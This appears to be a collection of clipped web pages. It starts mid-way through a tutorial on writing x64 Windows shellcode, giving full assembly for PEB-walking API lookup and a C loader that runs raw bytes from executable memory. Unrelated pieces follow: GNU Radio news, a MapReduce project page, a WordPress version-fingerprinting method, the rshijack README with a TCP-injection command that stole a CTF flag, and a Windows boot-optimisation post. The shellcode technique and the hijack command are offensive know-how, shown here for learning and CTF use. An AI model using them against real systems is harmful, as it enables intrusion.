directly to the executable code of ActivateActCtx:

[code]

    0:001> **u @$t0+44b0**
    kernel32!ActivateActCtx:
    00000000`776544b0 4883ec28        sub     rsp,28h
    00000000`776544b4 4883f9ff        cmp     rcx,0FFFFFFFFFFFFFFFFh
    [...]
[/code]

We now have all of the understanding we need to get the address of a function
and it’s just a matter of implementing the above steps in code.

### The Code

[code]

    ;shell64.asm
    
    .code
    
    ;note: ExitProcess is forwarded
    main proc
        sub rsp, 28h            ;reserve stack space for called functions
        and rsp, 0fffffffffffffff0h     ;make sure stack 16-byte aligned   
    
        lea rdx, loadlib_func
        lea rcx, kernel32_dll
        call lookup_api         ;get address of LoadLibraryA
        mov r15, rax            ;save for later use with forwarded exports
    
        lea rcx, user32_dll
        call rax                ;load user32.dll
    
        lea rdx, msgbox_func
        lea rcx, user32_dll
        call lookup_api         ;get address of MessageBoxA
    
        xor r9, r9              ;MB_OK
        lea r8, title_str       ;caption
        lea rdx, hello_str      ;Hello world
        xor rcx, rcx            ;hWnd (NULL)
        call rax                ;display message box
    
        lea rdx, exitproc_func
        lea rcx, kernel32_dll
        call lookup_api         ;get address of ExitProcess
    
        xor rcx, rcx            ;exit code zero
        call rax                ;exit
    
    main endp
    
    kernel32_dll    db  'KERNEL32.DLL', 0
    loadlib_func    db  'LoadLibraryA', 0
    user32_dll      db  'USER32.DLL', 0
    msgbox_func     db  'MessageBoxA', 0
    hello_str       db  'Hello world', 0
    title_str       db  'Message', 0
    exitproc_func   db  'ExitProcess', 0
    
    ;look up address of function from DLL export table
    ;rcx=DLL name string, rdx=function name string
    ;DLL name must be in uppercase
    ;r15=address of LoadLibraryA (optional, needed if export is forwarded)
    ;returns address in rax
    ;returns 0 if DLL not loaded or exported function not found in DLL
    lookup_api  proc
        sub rsp, 28h            ;set up stack frame in case we call loadlibrary
    
    start:
        mov r8, gs:[60h]        ;peb
        mov r8, [r8+18h]        ;peb loader data
        lea r12, [r8+10h]       ;InLoadOrderModuleList (list head) - save for later
        mov r8, [r12]           ;follow _LIST_ENTRY->Flink to first item in list
        cld
    
    for_each_dll:               ;r8 points to current _ldr_data_table_entry
    
        mov rdi, [r8+60h]       ;UNICODE_STRING at 58h, actual string buffer at 60h
        mov rsi, rcx            ;pointer to dll we're looking for
    
    compare_dll:
        lodsb                   ;load character of our dll name string
        test al, al             ;check for null terminator
        jz found_dll            ;if at the end of our string and all matched so far, found it
    
        mov ah, [rdi]           ;get character of current dll
        cmp ah, 61h             ;lowercase 'a'
        jl uppercase
        sub ah, 20h             ;convert to uppercase
    
    uppercase:
        cmp ah, al
        jne wrong_dll           ;found a character mismatch - try next dll
    
        inc rdi                 ;skip to next unicode character
        inc rdi
        jmp compare_dll         ;continue string comparison
    
    wrong_dll:
        mov r8, [r8]            ;move to next _list_entry (following Flink pointer)
        cmp r8, r12             ;see if we're back at the list head (circular list)
        jne for_each_dll
    
        xor rax, rax            ;DLL not found
        ret
    
    found_dll:
        mov rbx, [r8+30h]       ;get dll base addr - points to DOS "MZ" header
    
        mov r9d, [rbx+3ch]      ;get DOS header e_lfanew field for offset to "PE" header
        add r9, rbx             ;add to base - now r9 points to _image_nt_headers64
        add r9, 88h             ;18h to optional header + 70h to data directories
                                ;r9 now points to _image_data_directory[0] array entry
                                ;which is the export directory
    
        mov r13d, [r9]          ;get virtual address of export directory
        test r13, r13           ;if zero, module does not have export table
        jnz has_exports
    
        xor rax, rax            ;no exports - function will not be found in dll
        ret
    
    has_exports:
        lea r8, [rbx+r13]       ;add dll base to get actual memory address
                                ;r8 points to _image_export_directory structure (see winnt.h)
    
        mov r14d, [r9+4]        ;get size of export directory
        add r14, r13            ;add base rva of export directory
                                ;r13 and r14 now contain range of export directory
                                ;will be used later to check if export is forwarded
    
        mov ecx, [r8+18h]       ;NumberOfNames
        mov r10d, [r8+20h]      ;AddressOfNames (array of RVAs)
        add r10, rbx            ;add dll base
    
        dec ecx                 ;point to last element in array (searching backwards)
    for_each_func:
        lea r9, [r10 + 4*rcx]   ;get current index in names array
    
        mov edi, [r9]           ;get RVA of name
        add rdi, rbx            ;add base
        mov rsi, rdx            ;pointer to function we're looking for
    
    compare_func:
        cmpsb
        jne wrong_func          ;function name doesn't match
    
        mov al, [rsi]           ;current character of our function
        test al, al             ;check for null terminator
        jz found_func           ;if at the end of our string and all matched so far, found it
    
        jmp compare_func        ;continue string comparison
    
    wrong_func:
        loop for_each_func      ;try next function in array
    
        xor rax, rax            ;function not found in export table
        ret
    
    found_func:                 ;ecx is array index where function name found
    
                                ;r8 points to _image_export_directory structure
        mov r9d, [r8+24h]       ;AddressOfNameOrdinals (rva)
        add r9, rbx             ;add dll base address
        mov cx, [r9+2*rcx]      ;get ordinal value from array of words
    
        mov r9d, [r8+1ch]       ;AddressOfFunctions (rva)
        add r9, rbx             ;add dll base address
        mov eax, [r9+rcx*4]     ;Get RVA of function using index
    
        cmp rax, r13            ;see if func rva falls within range of export dir
        jl not_forwarded
        cmp rax, r14            ;if r13 <= func < r14 then forwarded
        jae not_forwarded
    
        ;forwarded function address points to a string of the form <DLL name>.<function>
        ;note: dll name will be in uppercase
        ;extract the DLL name and add ".DLL"
    
        lea rsi, [rax+rbx]      ;add base address to rva to get forwarded function name
        lea rdi, [rsp+30h]      ;using register storage space on stack as a work area
        mov r12, rdi            ;save pointer to beginning of string
    
    copy_dll_name:
        movsb
        cmp byte ptr [rsi], 2eh     ;check for '.' (period) character
        jne copy_dll_name
    
        movsb                               ;also copy period
        mov dword ptr [rdi], 004c4c44h      ;add "DLL" extension and null terminator
    
        mov rcx, r12            ;r12 points to "<DLL name>.DLL" string on stack
        call r15                ;call LoadLibraryA with target dll
    
        mov rcx, r12            ;target dll name
        mov rdx, rsi            ;target function name
        jmp start               ;start over with new parameters
    
    not_forwarded:
        add rax, rbx            ;add base addr to rva to get function address
        add rsp, 28h            ;clean up stack
        ret
    
    lookup_api endp
    
    end
[/code]

### Building

In the past I had developed 32-bit shellcode using the free and open-source
Netwide Assembler \(NASM\), but when going through the exercise of learning
the 64-bit variety I figured I would try it out with the Microsoft Assembler
\(MASM\) instead. One problem quickly became apparent: MASM offers no way
\(that I know of\) to generate raw binary machine code as opposed to an .exe
file\! All is not lost though, the code bytes can be extracted from the .exe
file easily enough \(but in the future I might go back to NASM\).

First build a regular executable \(note that no `/defaultlib` arguments are
required – this code does not directly import any functions from DLLs because
it looks them up itself\):

`ml64 shell64.asm /link /entry:main`

Then use dumpbin to display the section headers, and take note of the
**virtual size** and **file pointer to raw data** for the .text section:

`dumpbin /headers shell64.exe`

[code]

    SECTION HEADER #1
       .text name
         **1A9 virtual size**
        1000 virtual address (0000000140001000 to 00000001400011A8)
         200 size of raw data
         **200 file pointer to raw data** (00000200 to 000003FF)
       [...]
[/code]

Converting these numbers to decimal, this means we need to extract 425
\(**0x1a9**\) bytes beginning at offset 512 \(**0×200**\) in the file. This
can be done with a hex editor, or with the following command if you have a
Windows version of **dd** laying around \(I’m using Cygwin\):

`dd if=shell64.exe of=shell64.bin bs=1 count=425 skip=512`

Now we have a file shell64.bin containing our shellcode. I like to open it in
IDA Pro the first time and make sure it looks right.

### Testing

The following test program simply loads data from a file into memory and then
transfers execution to it. It supports an optional argument **-d** which will
insert a debugger breakpoint prior to calling the shellcode. All of the error-
handling code is long and tedious, yes, but debugging shellcode can be
difficult enough without having to worry about whether the test program is
working correctly. There is also a free tool called testival available for
testing shellcode, which supposedly has some nice features but I have not
personally tried it.

Note the call to **VirtualProtect\(\)** to enable execute permission on the
allocated memory. This is necessary because the process heap memory is non-
executable by default on 64-bit Windows. This is called Data Execution
Prevention \(DEP\) and was designed specifically as a security measure.
Without the VirtualProtect\(\) call, the program will crash with an Access
Violation on the first instruction of the shellcode \(debugging note: the
**\!vprot** command in WinDbg can be used to display the memory permissions
for a given address\). Bypassing DEP involves a technique called _Return-
Oriented Programming_ \(ROP\) which is beyond the scope of this article \(see
mitigations section at the end\).

Also note the use of _compiler intrinsics_ to insert the debugger breakpoint.
Inline assembly language is not allowed by the x64 Visual C++ compiler, so we
can no longer write `__asm int 3` to trigger a debugger as in x86 and must use
the `__debugbreak()` macro instead \(it produces the same `int 3` opcode\).
Take a look through **intrin.h** – there are numerous such macros available.

[code]

    //runbin.c
    
    #include <windows.h>
    #include <stdio.h>
    #include <io.h>
    #include <stdlib.h>
    #include <malloc.h>
    #include <fcntl.h>
    #include <intrin.h>
    
    typedef void (*FUNCPTR)(); 
    
    int main(int argc, char **argv)
    {
        FUNCPTR func;
        void *buf;
        int fd, len;
        int debug;
        char *filename;
        DWORD oldProtect;
    
        if (argc == 3 && strlen(argv[1]) == 2 && strncmp(argv[1], "-d", 2) == 0) {
            debug = 1;
            filename = argv[2];
        } else if (argc == 2) {
            debug = 0;
            filename = argv[1];
        } else {
            fprintf(stderr, "usage: runbin [-d] <filename>\n");
            fprintf(stderr, "  -d    insert debugger breakpoint\n");
            return 1;
        }
    
        fd = _open(filename, _O_RDONLY | _O_BINARY);
    
        if (-1 == fd) {
            perror("Error opening file");
            return 1;
        }
    
        len = _filelength(fd);
    
        if (-1 == len) {
            perror("Error getting file size");
            return 1;
        }
    
        buf = malloc(len);
    
        if (NULL == buf) {
            perror("Error allocating memory");
            return 1;
        }
    
        if (0 == VirtualProtect(buf, len, PAGE_EXECUTE_READWRITE, &oldProtect)) {
            fprintf(stderr, "Error setting memory executable: error code %d\n", GetLastError());
            return 1;
        }        
    
        if (len != _read(fd, buf, len)) {
            perror("error reading from file");
            return 1;
        }
    
        func = (FUNCPTR)buf;
    
        if (debug) {
            __debugbreak();
        }
    
        func();
    
        return 0;
    }
    
[/code]

Build the test program with:

`cl runbin.c`

Then test the shellcode as follows:

`runbin shell64.bin`

If all goes well the message box should be seen:

<img src='img/Temp2_9934.png' width='166' height='192' alt='HelloWorld' />

If you want to step through it in a debugger, add the –d option:

`runbin –d shell64.bin`

For this to work, a Just-In-Time \(JIT\) debugger \(also known as postmortem
debugger\) must be configured on the system. To enable WinDbg as the JIT
debugger, run `windbg –I` from the command line. For more information see
Configuring Automatic Debugging.

### Comments

This shellcode was written from scratch with the goal of making it easy to
understand \(as much as shellcode can be anyway\) and to demonstrate how
everything works. It is not the smallest or most optimized code possible.
There are many other published shellcode examples out there, and the
Metasploit source code is particularly worth a look \(the path is
/external/source/shellcode/windows/x64/src/\).

  * Most shellcode does not handle forwarded exports as in this example, because it bloats and complicates the code and can be worked around by determining in advance if the function is forwarded and just writing your code to call the ultimate target instead. \(The only catch is that whether an export is forwarded can change between operating system versions or even service packs, so supporting forwarded exports does in fact make the shellcode more portable.\)
  * A common variation on the technique for locating a function is to iterate through the export table computing a “hash” of each function name, and then comparing it to a pre-computed hash value of the name of the function we’re interested in. This has the advantage of making the shellcode smaller, particularly if it uses many API functions with lengthy names, as the code only needs to contain short hash values rather than full strings like “ExitProcess”. The technique also serves to obscure which functions are being called and has even been used by stand-alone malicious executables for this purpose. Metasploit goes even further and computes a single hash that covers both the function name and DLL name.
  * It is also common practice to “encrypt” or “encode” the shellcode \(typically with just a simple XOR type of algorithm rather than true strong encryption\), for the purpose of obfuscation and/or avoiding particular byte values in the code \(such as zeroes\) that could prevent an exploit from working. The encrypted code is then prepended with a “decoder” stub that decrypts and executes the main code.
  * Most shellcode does not bother with the error handling I put in place to return zero if the DLL or function cannot be found, again because it makes the code larger and is not necessary once everything is tested.
  * The lookup\_api function does not entirely behave itself according to the x64 calling conventions – in particular it does not bother to save and restore all of the registers that are deemed _non-volatile_. \(A function is allowed to modify rax, rcx, rdx, r8, r9, r10, and r11, but should preserve the values of all others\). It also makes an assumption that r15 will point to LoadLibraryA if needed for forwarded functions.
  * Metasploit and others use NASM instead of MASM as the assembler \(probably a good call given the aforementioned limitation of MASM for outputting raw binary, also NASM is open source and runs on Linux and other platforms\).
  * Metasploit uses decimal numbers for the various offsets into the data structures whereas I prefer hex \(“You might be a geek if…”\).

### Mitigations

Unfortunately for exploit developers and fortunately for PC users, the latest
versions of Windows employ a variety of effective exploit mitigation
technologies. None of these features truly eliminate vulnerabilities but they
can make it significantly more difficult to execute arbitrary code via an
exploit as opposed to simply crashing the program. For more information on
many of these mitigations and techniques for bypassing them, the Corelan
exploit writing tutorials are excellent \(32-bit centric but still mostly
applicable to x64\).

  * Data Execution Prevention \(DEP\) – This was discussed earlier regarding the VirtualProtect\(\) call in the test program. By default the stack and heap are configured to use non-executable memory pages which trigger an Access Violation if code attempts to execute there. DEP can be bypassed using Return-Oriented Programming \(ROP\), where snippets of existing executable code on the system are executed in sequence to accomplish a particular task.
  * Address Space Layout Randomization \(ASLR\) – Rather than loading DLLs and EXEs at constant base addresses, the operating system randomly varies the load address \(at least across reboots, not necessarily between every invocation of a program\). ASLR does not prevent shellcode from executing \(this example code runs just fine with it\), but it makes it more difficult to transfer execution to the shellcode in the first place. It also makes bypassing DEP using ROP much more difficult. There are several approaches to bypassing ASLR, including the use of a secondary information-disclosure vulnerability to obtain the base address of a module.
  * Stack cookies – Compiler-generated code is inserted before and after functions to detect if the return address on the stack has been overwritten, making it more difficult to exploit stack-based buffer overflow vulnerabilities.
  * Structured Exception Handler \(SEH\) overwrite protection – this is not applicable to x64 because exception handlers are not stored on the stack.
  * Export Address Table Filtering \(EAF\) – This is a new option released as part of the Enhanced Mitigation Experience Toolkit \(EMET\) in November 2010. It is designed to block shellcode from looking up API addresses by accessing DLL export tables, and works by setting a hardware breakpoint on memory access to certain data structures. Microsoft acknowledges that it can be easily bypassed but argues that it will break almost all shellcode currently in use today, and that EMET can be updated in response to new attack techniques at much more frequent intervals than new releases of Windows are possible. See this article on bypassing EAF for details.

# Exciting developments in GNU Radio

**Created:**| _8/1/2011 7:50:48 AM_  
---|---  
**Updated:**| _8/1/2011 7:50:48 AM_  
**Author:**| __  
**Tags:**| _Gnuradio_  
  

# Exciting developments in GNU Radio

news & announcements | March 2, 2011 10:10 pm 
* * *
GNU Radio had a pretty good year in 2010, and we are already on track for an
even more productive year in 2011. While we only produced one release in 2010,
a large amount of work went into our source repository to improve the quality
and stability of the project, and we are on track for a new release soon that
incorporates many of these fixes into a new stable release. From here, we have
been implementing some major improvements and additions to GNU Radio that will
be part of the releases in 2011, so 2010 was an important year for getting us
to the next major milestones.

Among the major changes GNU Radio saw last year, one of the biggest was a
change in the project maintainer. Eric Blossom began this project almost ten
years ago and has been the leading voice and architect of the project ever
since. Early on in 2010, Eric decided to move on to other projects and
interests and asked Tom Rondaeu to step in and take over. Tom holds a Ph.D. in
electrical engineering from Virginia Tech and has been a major contributor to
GNU Radio for over six years. He officially took over as the maintainer of GNU
Radio in September of 2010.

Along with the new maintainer, we are starting to see new energy being put
into GNU Radio. Some of what was developed at the end of last year will begin
making its way into the main distribution of GNU Radio this year. Among these
features includes some exciting new developments that will enable GNU Radio in
ways that were never possible before. The two major features being introduced
to GNU Radio include a new vectorization library called VOLK \(for Vector-
Optimized Library of Kernels\) and stream tagging.

VOLK provides a way to access the vector \(i.e., SIMD\) instructions of
general purpose processors. While there are other ways of doing this, a goal
of GNU Radio is cross-platform support and an ease of programming and
implementing new signal processing features. Until VOLK, adding SIMD code to
GNU Radio had been a difficult, assembly-driven process. Instead, VOLK
introduces the concept of a vector kernel to perform common mathematical
functions in a cross-platform library. Over the next year, we will be
improving many of the low-level signal processing blocks by using VOLK kernels
instead of generic C++ code. As we make these changes, we expect to see a
dramatic increase in the performance and processing capabilities of GNU Radio
as well as introduce an extensible vector library for people to use and build
upon. Another exciting idea behind VOLK is that it is not designed solely for
GNU Radio use and builds as a separate library for incorporation and use in
any other project.

The other major change that was introduced last year but will be used more
heavily throughout the coming year are the stream tags. Stream tags provide a
method of annotating samples with “tags” of information that can be passed
downstream in a GNU Radio graph. This feature adds an interface to so that
control, metadata, and other information may be passed through a radio system
such as timing and state information. Because of these tags, we will be able
to realize more advanced digital modems that require logic control and timing
information previously unavailable.

From what we are seeing with the new features and the state of GNU Radio, we
expect to significantly grow the capabilities of GNU Radio. We are also
excited that this will bring in new users that will expand our community and
the developers that contribute significantly to our project. On this note, we
have identified increasing awareness and developers of GNU Radio as a major
goal of the project over the next few years. We are directly pursuing this by
hosting the first GNU Radio conference in September of 2011.

More information about GNU Radio can be found at our main homepage.

# octopy - Project Hosting on Google Code

**Created:**| _2/11/2010 10:42:13 AM_  
---|---  
**Updated:**| _2/11/2010 10:42:26 AM_  
**Author:**| __  
**Tags:**| _python programming Distributed systems_  
  
<img src='img/Temp2_10508.png' alt='Project Logo' />| octopy _Easy MapReduce
for Python_|  
---|---|---  
Project Home|  | Downloads|  | Wiki|  | Issues|  | Source|  |   
---|---|---|---|---|---|---|---|---|---|---  
Summary | Updates | People |   
---|---  
<img src='img/Temp2_10509.png' width='15' height='15' /> Star this project  
---  
Code license:| New BSD License  
---|---  
Labels:| python, mapreduce,mapreduce, distributed  
Feeds:|

  * Project feeds

  
---|---  
People detailsProject owners:  
---  
| limyuxi  
Inspired by Google's MapReduce and Starfish for Ruby, octo.py is a fast-n-easy
MapReduce implementation for Python.

Octo.py doesn't aim to meet all your distributed computing needs, but its
simple approach is amendable to a large proportion of parallelizable tasks. If
your code has a for-loop, there's a good chance that you can make it
distributed with just a few small changes. If you're already using Python's
map\(\) and reduce\(\) functions, the changes needed are trivial\!

It is not an exact clone of the Big-G's MapReduce, but I'm guessing that you
aren't operating a Google-like cluster with a distributed Google File System
and can't use a MapReduce clone. Instead, the scope of the project is more
akin to Starfish, running on an ad-hoc cluster of computers. The data
semantics bears closer resemblance to MapReduce though, except the part about
the ordering of intermediate results.

For examples, look at UsageExamples. For detailed usage instructions, take a
look at UsersGuide. And if you're interested in modifying the source, take a
look at DevelopersGuide.

# Sucuri information security \(BETA\)

**Created:**| _5/25/2009 8:16:46 PM_  
---|---  
**Updated:**| _5/25/2009 8:17:00 PM_  
**Author:**| __  
**Tags:**| _web-app-sec web Fingerprinting_  
  

## Web App Version detection using fingerprinting

Good security practice tell us to only give our users the minimum privilege
and least information necessary to do their jobs. Because of that, many people
choose to hide the version of their systems and applications from outsiders.  
  
It means we go around disabling banners, removing generators and headers from
many of our servers, but sometimes it might not be enough for hide which
version of a web application that you using.

_\*Detecting the version of a web application can be very useful for automated
tools scanning the Internet for vulnerable applications. _  
  
1- Version detection using file fingerprints  
2- Wordpress Version Detection  
3- Wordpress version fingerprinting - Comparing files  
4- Real world examples  

## Version detection using file fingerprints

Similar to operating system fingerprinting, this technique uses unique
fingerprints that are available on each version of a web application to
determine which one is being used.  
  
What these fingerprints are, depend on the web application, but generally we
can use .js \(javascript\) , .css and a few other files that are available and
we can access the source remotely. We can't do the same with .php, because it
will not return the source \(only the executed output\).  
  
To create the fingerprints, we need download the packages for different
versions and perform a  _diff_ between each of them. After that, we compare
the diffs looking for unique patterns present on each version.  
  
To exemplify this technique we are going to use Wordpress, since it is widely
used and have an archive with all their versions. For closed-source
applications, it can still work, but require getting access to a few
installations with known versions to create the baselines.

  
  

## Wordpress Version Detection

For wordpress, we went to their web site and downloaded the packages for the
following versions:

[code]

        wordpress-2.0.tar.gz
        wordpress-2.0.11.tar.gz
        wordpress-2.1.tar.gz
        wordpress-2.1.3.tar.gz
        wordpress-2.2.tar.gz
        wordpress-2.3.tar.gz
        wordpress-2.5.tar.gz
        wordpress-2.6.3.tar.gz
        wordpress-2.7.tar.gz
        wordpress-2.7.1.tar.gz 
          
    
[/code]

With all these packages, we uncompressed them and generate a diff -q \(to do
not show the content of the changes\) for each version:

[code]

        $dd@ss:~/wp$ tar -zxvf wordpress-2.0.tar.gz; mv wordpress wordpress-2.0
        $dd@ss:~/wp$ tar -zxvf wordpress-2.1.tar.gz; mv wordpress wordpress-2.1
        $dd@ss:~/wp$ tar -zxvf wordpress-2.2.tar.gz; mv wordpress wordpress-2.2
        $dd@ss:~/wp$ tar -zxvf wordpress-2.3.tar.gz; mv wordpress wordpress-2.3
        $dd@ss:~/wp$ tar -zxvf wordpress-2.5.tar.gz; mv wordpress wordpress-2.5
        $dd@ss:~/wp$ tar -zxvf wordpress-2.6.3.tar.gz; mv wordpress wordpress-2.6.3
        $dd@ss:~/wp$ tar -zxvf wordpress-2.7.tar.gz; mv wordpress wordpress-2.7
        $dd@ss:~/wp$ tar -zxvf wordpress-2.7.1.tar.gz; mv wordpress wordpress-2.7.1
          
    
[/code]

Note that in the diff we restricted our search to only .js and .css files and
also ignored the wp-admin directory since it is blocked sometimes:

[code]

        $dd@ss:~/wp$ diff -r -q wordpress-2.0 wordpress-2.1 |grep \.js |grep -v wp-admin > wp-diffs
        $dd@ss:~/wp$ diff -r -q wordpress-2.1 wordpress-2.2 |grep \.js |grep -v wp-admin >> wp-diffs
        $dd@ss:~/wp$ diff -r -q wordpress-2.2 wordpress-2.3 |grep \.js |grep -v wp-admin >> wp-diffs
        $dd@ss:~/wp$ diff -r -q wordpress-2.3 wordpress-2.5 |grep \.js |grep -v wp-admin >> wp-diffs
        $dd@ss:~/wp$ diff -r -q wordpress-2.5 wordpress-2.6.3 |grep \.js |grep -v wp-admin >> wp-diffs
        $dd@ss:~/wp$ diff -r -q wordpress-2.6.3 wordpress-2.7 |grep \.js |grep -v wp-admin >> wp-diffs
        $dd@ss:~/wp$ diff -r -q wordpress-2.7 wordpress-2.7.1 |grep \.js |grep -v wp-admin >> wp-diffs
          
    
[/code]

A sample of the file would look like that:

[code]

        Only in wordpress-2.2/wp-includes/js: wp-ajax.js
        Only in wordpress-2.2/wp-includes/js: list-manipulation.js
        Files wordpress-2.1/wp-includes/js/prototype.js and wordpress-2.2/wp-includes/js/prototype.js differ
        Files wordpress-2.1/wp-includes/js/quicktags.js and wordpress-2.2/wp-includes/js/quicktags.js differ
        ..
        Files wordpress-2.7/wp-includes/js/autosave.js and wordpress-2.7.1/wp-includes/js/autosave.js differ
        Files wordpress-2.7/wp-includes/.../thickbox.css and wordpress-2.7.1/wp-includes/.../thickbox.css differ
        Files wordpress-2.7/wp-includes/.../thickbox.js and wordpress-2.7.1/wp-includes/.../thickbox.js differ
        Files wordpress-2.7/.../wp-ajax-response.js and wordpress-2.7.1/.../wp-ajax-response.js differ
          
    
[/code]

  
  

## Wordpress version fingerprinting - Comparing files

With those diffs, we can easily reduce the set of files that changed more
often to avoid having to perform too many requests on the server side.

[code]

        cat wp-diffs|grep "Files "| cut -d " " -f 2 | cut -d "/" -f 2,3,4,5,6,7,8,9,10 |sort| uniq -c |sort    
        ..
          4 wp-includes/js/autosave.js
          4 wp-includes/js/quicktags.js
          5 wp-includes/js/tinymce/plugins/wordpress/editor_plugin.js
          5 wp-includes/js/tinymce/tiny_mce_popup.js
          6 wp-includes/js/tinymce/plugins/inlinepopups/editor_plugin.js
          6 wp-includes/js/tinymce/themes/advanced/editor_template.js
          6 wp-includes/js/tinymce/tiny_mce.js
          
    
[/code]

These are just some of the files that changed 4 or more times across all these
releases. We can also look for files that were deleted from one branch to the
other, to detect the first time it was installed too. With the checksums, we
can easily automate a script to detect the version:

[code]

        $dd@ss:~/wp$  find ./ -name tiny_mce.js | xargs md5sum | sort
        a306a72ce0f250e5f67132dc6bcb2ccb  ./wordpress-2.0/wp-includes/js/tinymce/tiny_mce.js
        4f04728cb4631a553c4266c14b9846aa  ./wordpress-2.1/wp-includes/js/tinymce/tiny_mce.js
        25e1e78d5b0c221e98e14c6e8c62084f  ./wordpress-2.2/wp-includes/js/tinymce/tiny_mce.js
        83c83d0f0a71bd57c320d93e59991c53  ./wordpress-2.3/wp-includes/js/tinymce/tiny_mce.js
        7293453cf0ff5a9a4cfe8cebd5b5a71a  ./wordpress-2.5/wp-includes/js/tinymce/tiny_mce.js
        61740709537bd19fb6e03b7e11eb8812  ./wordpress-2.6/wp-includes/js/tinymce/tiny_mce.js
        e6bbc53a727f3af003af272fd229b0b2  ./wordpress-2.7/wp-includes/js/tinymce/tiny_mce.js
        e6bbc53a727f3af003af272fd229b0b2  ./wordpress-2.7.1/wp-includes/js/tinymce/tiny_mce.js
          
    
[/code]

As you can see, with only one file 'tiny\_mce.js' we are able to get very
close to the real version that wordpress is running. If you do this for a few
more files, you will get a much more reliable answer.

  
  

## Real world examples

Trying this technique in multiple sites, I believe we were able to pinpoint
the Wordpress version with precision. Example testing in some blogs:

### http://blogsecurity.net \- v2.7.1

  
**Version 2.7.1** for wp-includes/js/wp-ajax-response.js  
**Version >= 2.7** for wp-includes/js/hoverIntent.js  
**Version >= 2.7** for wp-includes/js/wp-lists.js  
**Version >= 2.7.1** for wp-includes/js/autosave.js  
**Version >= 2.5** for wp-includes/js/scriptaculous/wp-scriptaculous.js  
**Version >= 2.7** for wp-includes/js/tinymce/tiny\_mce.js

### http://blog.mozilla.com/security/ \- v2.6

  
**Version > 2.5 and <= 2.7** for wp-includes/js/wp-ajax-response.js  
**Version < 2.7** for wp-includes/js/hoverIntent.js  
**Version >= 2.6.1 and <= 2.6.5** for wp-includes/js/wp-lists.js  
**Version >= 2.6 and <= 2.6.5** for wp-includes/js/autosave.js  
**Version >= 2.5** for wp-includes/js/scriptaculous/wp-scriptaculous.js  
**Version == 2.6** for wp-includes/js/tinymce/tiny\_mce.js

### http://freakonomics.blogs.nytimes.com \- v2.6

  
**Version > 2.5 and <= 2.7** for wp-includes/js/wp-ajax-response.js  
**Version < 2.7** for wp-includes/js/hoverIntent.js  
**Version >= 2.6.1 and <= 2.6.5** for wp-includes/js/wp-lists.js  
**Version >= 2.6 and <= 2.6.5** for wp-includes/js/autosave.js  
**Version >= 2.5** for wp-includes/js/scriptaculous/wp-scriptaculous.js  
**Version == 2.6** for wp-includes/js/tinymce/tiny\_mce.js

  

# kpcyrd/rshijack

**Created:**| _3/7/2018 8:26:10 AM_  
---|---  
**Updated:**| _3/7/2018 8:26:10 AM_  
**Author:**| _wishi_  
**Tags:**| _network-security mitm_  
  

  

# rshijack <img
src='img/68747470733a2f2f7472617669732d63692e6f72672f6b70637972642f727368696a61636b2e7376673f6272616e63683d6d6173746572'
width='90' height='20' alt='Build Status' /> <img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f6372617465732f762f727368696a61636b2e737667'
width='102' height='20' alt='Crates.io' />

tcp connection hijacker, rust rewrite of shijack from 2001.

This was written for TAMUctf 2018, brick house 100. The target was a telnet
server that was protected by 2FA. Since the challenge wasn't authenticated,
there have been multiple solutions for this. Our solution
\(cyclopropenylidene\) was waiting until the authentication was done, then
inject a tcp packet into the telnet connection:

[code]

    echo 'cat ~/.ctf_flag' | sudo rshijack tap0 172.16.13.20:37386 172.16.13.19:23
    
[/code]

After some attempts this command was accepted and executed by the telnet
server, resulting in a tcp packet containing the flag.

<img src='img/Temp2_10434' width='888' height='487' alt='screenshot' />

The way this works is by sniffing for a packet of a specific connection, then
read the SEQ and ACK fields. Using that information, it's possible to send a
packet on a raw socket that is accepted by the remote server as valid.

The other tools in that screenshot are sniffglue and arpspoof.

## Docker

If needed, rshijack can be pulled as a docker image. The image is currently
about 10.2MB.

[code]

    docker run -it --init --rm --net=host kpcyrd/rshijack eth0 172.16.13.20:37386 172.16.13.19:23
    
[/code]

## License

GPLv3+

  

# Windows 7 Self Optimizing Boot Process - AutoIt Consulting

**Created:**| _4/6/2014 11:31:08 AM_  
---|---  
**Updated:**| _4/6/2014 11:31:08 AM_  
**Author:**| __  
**Tags:**| _Forensics windows_  
  

# Windows 7 Self Optimizing Boot Process

<img src='img/Temp2_9556.jpg' width='185' height='185' alt='Windows 7 Self
Optimizing Boot Process' />

You may have heard the about the fact that Windows 7 \(and actually, Windows
Vista too\) has improved boot up times over Windows XP and dismissed it as
“that there marketing speak”. Surprisingly, it’s actually true\! On top of
that, the boot process is also optimized over time to make things even faster.
This blog post gives a high-level overview of how this works and also provides
some actual measurements.

The descriptions given in this article are fairly high-level for a number of
reasons. I wanted it to be readable for the general IT admin, and hard
documentation on the exact workings of this stuff is virtually non-existent so
it contains quite a lot of educated guesses. The epic Windows Internals book
discusses both the logical prefetching and ReadyBoot mechanics in a lot of
detail, but many of the services and registry keys mentioned in that book
reference Windows Vista and they no longer apply to Windows 7 \(although the
functionality is still there and has been improved, it’s just less obvious
which services and keys now control the process\).

## Logical Prefetcher

Various analysis of boot tracing have shown that one of the main factors that
slows the boot process down are disk seek times. As the various boot files,
dlls, and drivers are loaded there are lots of page faults and disk seek
requests as different parts of files and directories are accessed. Windows 7
keeps track of what files were accessed and the location of these files on the
disk and this tracing continues for up to 120 seconds after boot, or 30
seconds after the user’s shell \(explorer.exe\) starts, whichever comes first.
These traces are stored in **C:\Windows\PreFetch** :

<img src='img/Temp2_9555.jpg' alt='PrefetchFolder Windows 7 Self Optimizing
Boot Process' />

Logical Prefetcher Trace Folder

Each trace contains a list of the files and directories accessed when a given
application starts \(or during boot\) and this information is used to give the
prefetcher a chance to prefetch all the data required in one go, so that the
loading of the application can be optimized.

In addition, any files referenced by these boot applications \(DLLs, SYS
files, etc\) are also tracked in **C:\Windows\PreFetch\Layout.ini**. Every few
days, when the system is idle, defrag.exe is called with a command-line
parameter that causes all these referenced files to be moved to a contiguous
area of the disk. This means that the prefetching of these files is much more
efficient and further improves the boot time. You can manually invoke defrag
to optimize boot files by running the following command \(Windows 7 only, the
parameters are different on Windows Vista\):

[code]

    defrag.exe c: /b
[/code]

\(This will only work after the machine has been booted around 6 times,
otherwise you will get an error about the lack of boot optimization files\)

Note: When fully optimized this defrag command should complete quickly \(a
couple of minutes or so\) as the boot files will already be in a contiguous
area of the disk. However, I’ve seen machines many months old that have taken
up to an hour for this defrag command to complete which leads me to believe
that the automatic idle processing may not actually work correctly in all
situations. Therefore, it’s a good idea to run the command manually.

You can see the last time the automatic boot defrag occurred by checking the
value of the registry key **HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows
